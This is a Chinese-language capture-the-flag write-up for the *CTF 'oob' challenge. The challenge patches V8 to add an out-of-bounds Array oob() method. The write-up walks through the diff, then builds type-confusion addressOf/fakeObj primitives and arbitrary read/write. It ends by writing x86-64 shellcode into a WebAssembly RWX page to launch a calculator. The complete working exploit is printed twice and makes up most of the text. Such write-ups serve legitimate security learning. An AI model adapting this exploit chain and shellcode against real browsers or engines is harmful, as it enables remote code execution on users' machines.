0%

starctf oob writeup

starctf oob writeup

環境搭建

這邊使用Ubuntu 18.04

1
2
3
4
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git checkout
git apply oob.diff
tools/dev/gm.py x64.release

patch 分析

給 array 新增了一個 oob() method,可以做到一個 index 範圍的越界讀寫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

漏洞利用

這版本的 v8 沒有使用 pointer compression,所以一些偏移量會跟現在的 v8 不同

addressOf & fakeObj primitive

可以利用 oob() 讀寫 map,造成 type confusion
定義幾個函數實現型態轉換,並利用 type confusion 撰寫 addressOf 與 fakeObj primitive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// type convert
var buffer = new ArrayBuffer(0x8);
var float64 = new Float64Array(buffer);
var BigUint64 = new BigUint64Array(buffer);

function ftoi(value){
float64[0] = value;
return BigUint64[0];
}

function itof(value){
BigUint64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

// type confusion
var obj = {"a":1};
var obj_arr = [obj];
var float64_arr = [1.1];
var obj_arr_map = obj_arr.oob();
var float64_arr_map = float64_arr.oob();

function addressOf(target){
obj_arr[0] = target;
obj_arr.oob(float64_arr_map);
let addr = ftoi(obj_arr[0]);
obj_arr.oob(obj_arr_map);
return addr;
}

function fakeObj(addr){
float64_arr[0] = itof(addr);
float64_arr.oob(obj_arr_map);
let ret_obj = float64_arr[0];
float64_arr.oob(float64_arr_map);
return ret_obj;
}

arbitrary read & write primitive

透過 fakeObj() 在 arb_rw_tools - 0x20 偽造 fake_obj
由於 array 內容可控,且 arb_rw_tools[2] 的 address 和 fake_obj 擺放 elements pointer 的 address 相同,可以修改 arb_rw_tools[2] 進行任意讀寫

1
2
3
4
5
6
7
8
9
10
11
12
13
function read64(addr){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
return ftoi(fake_obj[0]);
}

function write64(addr, value){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
fake_obj[0] = itof(value);
}

利用 wasm 寫入 shellcode

f->shared_info->data->instance+0x88 存放著 rwx page 的 address,透過 gdb 找出 offset 計算 address,往該地址寫入 shellcode 即可

在嘗試的過程中發現直接使用 write64() 寫入會失敗,一些 writeup 提到失敗的原因與 float array 處理 float 的方式有關,最後使用 dataView 的方式完成寫入 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

addr_f = addressOf(f);
var shared_info_addr = read64(addr_f + 0x18n);
var data_addr = read64(shared_info_addr + 0x8n);
var instance_addr = read64(data_addr + 0x10n);
var rwx_addr = read64(instance_addr + 0x88n);

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) + 0x20n

write64(buf_backing_store_addr, rwx_addr);

for(let i = 0; i < sc_arr.length; i++) {
data_view.setFloat64(i * 8, itof(sc_arr[i]), true);
}

f();

完整 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
// type convert
var buffer = new ArrayBuffer(0x8);
var float64 = new Float64Array(buffer);
var BigUint64 = new BigUint64Array(buffer);

function ftoi(value){
float64[0] = value;
return BigUint64[0];
}

function itof(value){
BigUint64[0] = value;
return float64[0];
}

function hex(value){
return "0x" + value.toString(16);
}

// type confusion
var obj = {"a":1};
var obj_arr = [obj];
var float64_arr = [1.1];
var obj_arr_map = obj_arr.oob();
var float64_arr_map = float64_arr.oob();

function addressOf(target){
obj_arr[0] = target;
obj_arr.oob(float64_arr_map);
let addr = ftoi(obj_arr[0]);
obj_arr.oob(obj_arr_map);
return addr;
}

function fakeObj(addr){
float64_arr[0] = itof(addr);
float64_arr.oob(obj_arr_map);
let ret_obj = float64_arr[0];
float64_arr.oob(float64_arr_map);
return ret_obj;
}

var arb_rw_tools = [float64_arr_map, 1.2, 1.3, 1.4];
var arb_tools_addr = addressOf(arb_rw_tools);

function read64(addr){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
return ftoi(fake_obj[0]);
}

function write64(addr, value){
if(addr % 2n == 0)addr += 1n;
let fake_obj = fakeObj(arb_tools_addr - 0x20n);
arb_rw_tools[2] = itof(addr - 0x10n);
fake_obj[0] = itof(value);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

addr_f = addressOf(f);
var shared_info_addr = read64(addr_f + 0x18n);
var data_addr = read64(shared_info_addr + 0x8n);
var instance_addr = read64(data_addr + 0x10n);
var rwx_addr = read64(instance_addr + 0x88n);

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(dataview_buffer);
var buf_backing_store_addr = addressOf(dataview_buffer) + 0x20n

write64(buf_backing_store_addr, rwx_addr);

for(let i = 0; i < sc_arr.length; i++) {
data_view.setFloat64(i * 8, itof(sc_arr[i]), true);
}

f();

成功彈出計算機